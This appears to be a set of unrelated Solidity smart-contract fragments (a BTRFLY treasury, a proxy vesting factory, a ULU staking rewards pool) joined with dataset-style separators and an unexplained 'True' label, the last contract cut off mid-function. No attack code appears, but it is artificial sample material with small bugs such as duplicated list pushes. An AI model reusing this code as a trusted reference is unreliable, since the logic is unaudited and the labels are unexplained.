require( isReserveToken[ _token ], "Not accepted" ); // Only reserves can be used for redemptions
require( isReserveSpender[ msg.sender ] == true, "Not approved" );
uint value = valueOf( _token, _amount );
IBTRFLYERC20( BTRFLY ).burnFrom( msg.sender, value );
totalReserves = totalReserves.sub( value );
emit ReservesUpdated( totalReserves );
IERC20( _token ).safeTransfer( msg.sender, _amount );
emit Withdrawal( _token, _amount, value );
}
/**
@notice allow approved address to borrow reserves
@param _amount uint
@param _token address
*/
function incurDebt( uint _amount, address _token ) external {
require( isDebtor[ msg.sender ], "Not approved" );
require( isReserveToken[ _token ], "Not accepted" );
uint value = valueOf( _token, _amount );
uint maximumDebt = IERC20( sBTRFLY ).balanceOf( msg.sender ); // Can only borrow against sBTRFLY held
uint availableDebt = maximumDebt.sub( debtorBalance[ msg.sender ] );
require( value <= availableDebt, "Exceeds debt limit" );
debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].add( value );
totalDebt = totalDebt.add( value );
totalReserves = totalReserves.sub( value );
emit ReservesUpdated( totalReserves );
IERC20( _token ).transfer( msg.sender, _amount );
emit CreateDebt( msg.sender, _token, _amount, value );
}
/**
@notice allow approved address to repay borrowed reserves with reserves
@param _amount uint
@param _token address
*/
function repayDebtWithReserve( uint _amount, address _token ) external {
require( isDebtor[ msg.sender ], "Not approved" );
require( isReserveToken[ _token ], "Not accepted" );
IERC20( _token ).safeTransferFrom( msg.sender, address(this), _amount );
uint value = valueOf( _token, _amount );
debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub( value );
totalDebt = totalDebt.sub( value );
totalReserves = totalReserves.add( value );
emit ReservesUpdated( totalReserves );
emit RepayDebt( msg.sender, _token, _amount, value );
}
/**
@notice allow approved address to repay borrowed reserves with BTRFLY
@param _amount uint
*/
function repayDebtWithBTRFLY( uint _amount ) external {
require( isDebtor[ msg.sender ], "Not approved" );
IBTRFLYERC20( BTRFLY ).burnFrom( msg.sender, _amount );
debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub( _amount );
totalDebt = totalDebt.sub( _amount );
emit RepayDebt( msg.sender, BTRFLY, _amount, _amount );
}
/**
@notice allow approved address to withdraw assets
@param _token address
@param _amount uint
*/
function manage( address _token, uint _amount ) external {
if( isLiquidityToken[ _token ] ) {
require( isLiquidityManager[ msg.sender ], "Not approved" );
} else {
require( isReserveManager[ msg.sender ], "Not approved" );
}
uint value = valueOf(_token, _amount);
require( value <= excessReserves(), "Insufficient reserves" );
totalReserves = totalReserves.sub( value );
emit ReservesUpdated( totalReserves );
IERC20( _token ).safeTransfer( msg.sender, _amount );
emit ReservesManaged( _token, _amount );
}
/**
@notice send epoch reward to staking contract
*/
function mintRewards( address _recipient, uint _amount ) external {
require( isRewardManager[ msg.sender ], "Not approved" );
require( _amount <= excessReserves(), "Insufficient reserves" );
IERC20Mintable( BTRFLY ).mint( _recipient, _amount );
emit RewardsMinted( msg.sender, _recipient, _amount );
}
/**
@notice returns excess reserves not backing tokens
@return uint
*/
function excessReserves() public view returns ( uint ) {
return totalReserves.sub( IERC20( BTRFLY ).totalSupply().sub( totalDebt ) );
}
/**
@notice takes inventory of all tracked assets
@notice always consolidate to recognized reserves before audit
*/
function auditReserves() external {
uint reserves;
for( uint i = 0; i < reserveTokens.length; i++ ) {
reserves = reserves.add (
valueOf( reserveTokens[ i ], IERC20( reserveTokens[ i ] ).balanceOf( address(this) ) )
);
}
for( uint i = 0; i < liquidityTokens.length; i++ ) {
reserves = reserves.add (
valueOf( liquidityTokens[ i ], IERC20( liquidityTokens[ i ] ).balanceOf( address(this) ) )
);
}
totalReserves = reserves;
emit ReservesUpdated( reserves );
emit ReservesAudited( reserves );
}
/**
@notice returns BTRFLY valuation of asset
@param _token address
@param _amount uint
@return value_ uint
*/
function valueOf( address _token, uint _amount ) public view returns ( uint value_ ) {
if ( isReserveToken[ _token ] ) {
// convert amount to match BTRFLY decimals and divide by number of tokens for 1 BTRFLY
value_ = _amount.mul( 10 ** IERC20( BTRFLY ).decimals() ).div( 10 ** IERC20( _token ).decimals() ).mul(10 ** 9).div(nativeFloorPrice[_token]);
} else if ( isLiquidityToken[ _token ] ) {
value_ = IBondCalculator( bondCalculator[ _token ] ).valuation( _token, _amount );
}
}
/**
@notice sets BTRFLY valuation of asset
@param _token address
@param _value uint
*/
function setFloor( address _token, uint _value ) external onlyManager() {
require(nativeFloorPrice[_token] == 0, "Token floor value can only be set once");
nativeFloorPrice[_token] = _value;
emit tokenValueSet(_token, _value);
}
function getFloor(address _token) external view returns(uint){
return nativeFloorPrice[_token];
}
/**
@notice queue address to change boolean in mapping
@param _managing MANAGING
@param _address address
@return bool
*/
function queue( MANAGING _managing, address _address ) external onlyManager() returns ( bool ) {
require( _address != address(0) );
if ( _managing == MANAGING.RESERVEDEPOSITOR ) { // 0
reserveDepositorQueue[ _address ] = block.number.add( blocksNeededForQueue );
} else if ( _managing == MANAGING.RESERVESPENDER ) { // 1
reserveSpenderQueue[ _address ] = block.number.add( blocksNeededForQueue );
} else if ( _managing == MANAGING.RESERVETOKEN ) { // 2
reserveTokenQueue[ _address ] = block.number.add( blocksNeededForQueue );
} else if ( _managing == MANAGING.RESERVEMANAGER ) { // 3
ReserveManagerQueue[ _address ] = block.number.add( blocksNeededForQueue.mul( 2 ) );
} else if ( _managing == MANAGING.LIQUIDITYDEPOSITOR ) { // 4
LiquidityDepositorQueue[ _address ] = block.number.add( blocksNeededForQueue );
} else if ( _managing == MANAGING.LIQUIDITYTOKEN ) { // 5
LiquidityTokenQueue[ _address ] = block.number.add( blocksNeededForQueue );
} else if ( _managing == MANAGING.LIQUIDITYMANAGER ) { // 6
LiquidityManagerQueue[ _address ] = block.number.add( blocksNeededForQueue.mul( 2 ) );
} else if ( _managing == MANAGING.DEBTOR ) { // 7
debtorQueue[ _address ] = block.number.add( blocksNeededForQueue );
} else if ( _managing == MANAGING.REWARDMANAGER ) { // 8
rewardManagerQueue[ _address ] = block.number.add( blocksNeededForQueue );
} else if ( _managing == MANAGING.SBTRFLY ) { // 9
sBTRFLYQueue = block.number.add( blocksNeededForQueue );
} else return false;
emit ChangeQueued( _managing, _address );
return true;
}
/**
@notice verify queue then set boolean in mapping
@param _managing MANAGING
@param _address address
@param _calculator address
@return bool
*/
function toggle( MANAGING _managing, address _address, address _calculator ) external onlyManager() returns ( bool ) {
require( _address != address(0) );
bool result;
if ( _managing == MANAGING.RESERVEDEPOSITOR ) { // 0
if ( requirements( reserveDepositorQueue, isReserveDepositor, _address ) ) {
reserveDepositorQueue[ _address ] = 0;
if( !listContains( reserveDepositors, _address ) ) {
reserveDepositors.push( _address );
}
}
result = !isReserveDepositor[ _address ];
isReserveDepositor[ _address ] = result;
} else if ( _managing == MANAGING.RESERVESPENDER ) { // 1
if ( requirements( reserveSpenderQueue, isReserveSpender, _address ) ) {
reserveSpenderQueue[ _address ] = 0;
if( !listContains( reserveSpenders, _address ) ) {
reserveSpenders.push( _address );
}
}
result = !isReserveSpender[ _address ];
isReserveSpender[ _address ] = result;
} else if ( _managing == MANAGING.RESERVETOKEN ) { // 2
if ( requirements( reserveTokenQueue, isReserveToken, _address ) ) {
reserveTokenQueue[ _address ] = 0;
if( !listContains( reserveTokens, _address ) ) {
reserveTokens.push( _address );
}
}
result = !isReserveToken[ _address ];
isReserveToken[ _address ] = result;
} else if ( _managing == MANAGING.RESERVEMANAGER ) { // 3
if ( requirements( ReserveManagerQueue, isReserveManager, _address ) ) {
reserveManagers.push( _address );
ReserveManagerQueue[ _address ] = 0;
if( !listContains( reserveManagers, _address ) ) {
reserveManagers.push( _address );
}
}
result = !isReserveManager[ _address ];
isReserveManager[ _address ] = result;
} else if ( _managing == MANAGING.LIQUIDITYDEPOSITOR ) { // 4
if ( requirements( LiquidityDepositorQueue, isLiquidityDepositor, _address ) ) {
liquidityDepositors.push( _address );
LiquidityDepositorQueue[ _address ] = 0;
if( !listContains( liquidityDepositors, _address ) ) {
liquidityDepositors.push( _address );
}
}
result = !isLiquidityDepositor[ _address ];
isLiquidityDepositor[ _address ] = result;
} else if ( _managing == MANAGING.LIQUIDITYTOKEN ) { // 5
if ( requirements( LiquidityTokenQueue, isLiquidityToken, _address ) ) {
LiquidityTokenQueue[ _address ] = 0;
if( !listContains( liquidityTokens, _address ) ) {
liquidityTokens.push( _address );
}
}
result = !isLiquidityToken[ _address ];
isLiquidityToken[ _address ] = result;
bondCalculator[ _address ] = _calculator;
} else if ( _managing == MANAGING.LIQUIDITYMANAGER ) { // 6
if ( requirements( LiquidityManagerQueue, isLiquidityManager, _address ) ) {
LiquidityManagerQueue[ _address ] = 0;
if( !listContains( liquidityManagers, _address ) ) {
liquidityManagers.push( _address );
}
}
result = !isLiquidityManager[ _address ];
isLiquidityManager[ _address ] = result;
} else if ( _managing == MANAGING.DEBTOR ) { // 7
if ( requirements( debtorQueue, isDebtor, _address ) ) {
debtorQueue[ _address ] = 0;
if( !listContains( debtors, _address ) ) {
debtors.push( _address );
}
}
result = !isDebtor[ _address ];
isDebtor[ _address ] = result;
} else if ( _managing == MANAGING.REWARDMANAGER ) { // 8
if ( requirements( rewardManagerQueue, isRewardManager, _address ) ) {
rewardManagerQueue[ _address ] = 0;
if( !listContains( rewardManagers, _address ) ) {
rewardManagers.push( _address );
}
}
result = !isRewardManager[ _address ];
isRewardManager[ _address ] = result;
} else if ( _managing == MANAGING.SBTRFLY ) { // 9
sBTRFLYQueue = 0;
sBTRFLY = _address;
result = true;
} else return false;
emit ChangeActivated( _managing, _address, result );
return true;
}
/**
@notice checks requirements and returns altered structs
@param queue_ mapping( address => uint )
@param status_ mapping( address => bool )
@param _address address
@return bool
*/
function requirements(
mapping( address => uint ) storage queue_,
mapping( address => bool ) storage status_,
address _address
) internal view returns ( bool ) {
if ( !status_[ _address ] ) {
require( queue_[ _address ] != 0, "Must queue" );
require( queue_[ _address ] <= block.number, "Queue not expired" );
return true;
} return false;
}
/**
@notice checks array to ensure against duplicate
@param _list address[]
@param _token address
@return bool
*/
function listContains( address[] storage _list, address _token ) internal view returns ( bool ) {
for( uint i = 0; i < _list.length; i++ ) {
if( _list[ i ] == _token ) {
return true;
}
}
return false;
}
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/**
*Submitted for verification at Etherscan.io on 2021-12-06
*/
pragma solidity =0.5.16;
contract ReservoirLike {
function init(uint numTokens, address target) external;
function drip() external;
}
contract Proxy {
function() external payable {
assembly {
let _target := 0x9a2E280aAeB4dE82AAD34Df9c114f67A1699744c
calldatacopy(0x0, 0x0, calldatasize)
let result := delegatecall(gas, _target, 0x0, calldatasize, 0x0, 0)
returndatacopy(0x0, 0x0, returndatasize)
switch result case 0 {revert(0, 0)} default {return (0, returndatasize)}
}
}
}
contract VestingFactory {
event Create(address proxy, uint numTokens, address target);
function create(uint numTokens, address target) public returns(address) {
Proxy proxy = new Proxy();
ReservoirLike(address(proxy)).init(numTokens, target);
emit Create(address(proxy), numTokens, target);
return address(proxy);
}
function drip(address proxy) public {
ReservoirLike(proxy).drip();
}
} | True | [
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/**
*
* https://ulu.finance
*
* $$\ $$\ $$\ $$\ $$\
* $$ | $$ |$$ | $$ | $$ |
* $$ | $$ |$$ | $$ | $$ |
* $$ | $$ |$$ | $$ | $$ |
* $$ | $$ |$$ | $$ | $$ |
* $$ | $$ |$$ | $$ | $$ |
* \$$$$$$ |$$$$$$$$\\$$$$$$ |
* \______/ \________|\______/
*
* Universal Liquidity Union
*
* https://ulu.finance
*
**/
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: YFIRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function burn(uint amount) external;
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IRewardDistributionRecipient.sol
pragma solidity ^0.5.0;
contract IRewardDistributionRecipient is Ownable {
address public rewardReferral;
function notifyRewardAmount(uint256 reward) external;
function setRewardReferral(address _rewardReferral) external onlyOwner {
rewardReferral = _rewardReferral;
}
}
// File: contracts/CurveRewards.sol
pragma solidity ^0.5.0;
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
IERC20 public y = IERC20(0xc931feA2b59aAF97A72b68aFCf637f41601bbe6f);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function tokenStake(uint256 amount) internal {
address sender = msg.sender;
require(!address(sender).isContract(), "Andre, we are farming in peace, go harvest somewhere else sir.");
require(tx.origin == sender, "Andre, stahp.");
_totalSupply = _totalSupply.add(amount);
_balances[sender] = _balances[sender].add(amount);
y.safeTransferFrom(sender, address(this), amount);
}
function tokenWithdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
y.safeTransfer(msg.sender, amount);
}
}
interface IULUReferral {
function setReferrer(address farmer, address referrer) external;
function getReferrer(address farmer) external view returns (address);
}
contract ULURewardsSNXPool is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public yfv = IERC20(0x035bfe6057E15Ea692c0DfdcaB3BB41a64Dd2aD4);
uint256 public constant DURATION = 7 days;
uint8 public constant NUMBER_EPOCHS = 10;
uint256 public constant REFERRAL_COMMISSION_PERCENT = 5;
uint256 public constant EPOCH_REWARD = 2100 ether;
uint256 public constant TOTAL_REWARD = EPOCH_REWARD * NUMBER_EPOCHS;
uint256 public currentEpochReward = EPOCH_REWARD;
uint256 public totalAccumulatedReward = 0;
uint8 public currentEpoch = 0;
uint256 public starttime = 1599739200; // Monday, September 10, 2020 12:00:00 PM (GMT+0)
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) public accumulatedStakingPower; // will accumulate every time staker does getReward()
uint public nextRewardMultiplier = 75; // 0% -> 200%
event RewardAdded(uint256 reward);
event Burned(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event CommissionPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function setNextRewardMultiplier(uint _nextRewardMultiplier) public onlyOwner {
require(_nextRewardMultiplier <= 200);
nextRewardMultiplier = _nextRewardMultiplier;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
uint256 calculatedEarned = balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
uint256 poolBalance = yfv.balanceOf(address(this));
// some rare case the reward can be slightly bigger than real number, we need to check against how much we have left in pool
if (calculatedEarned > poolBalance) return poolBalance;
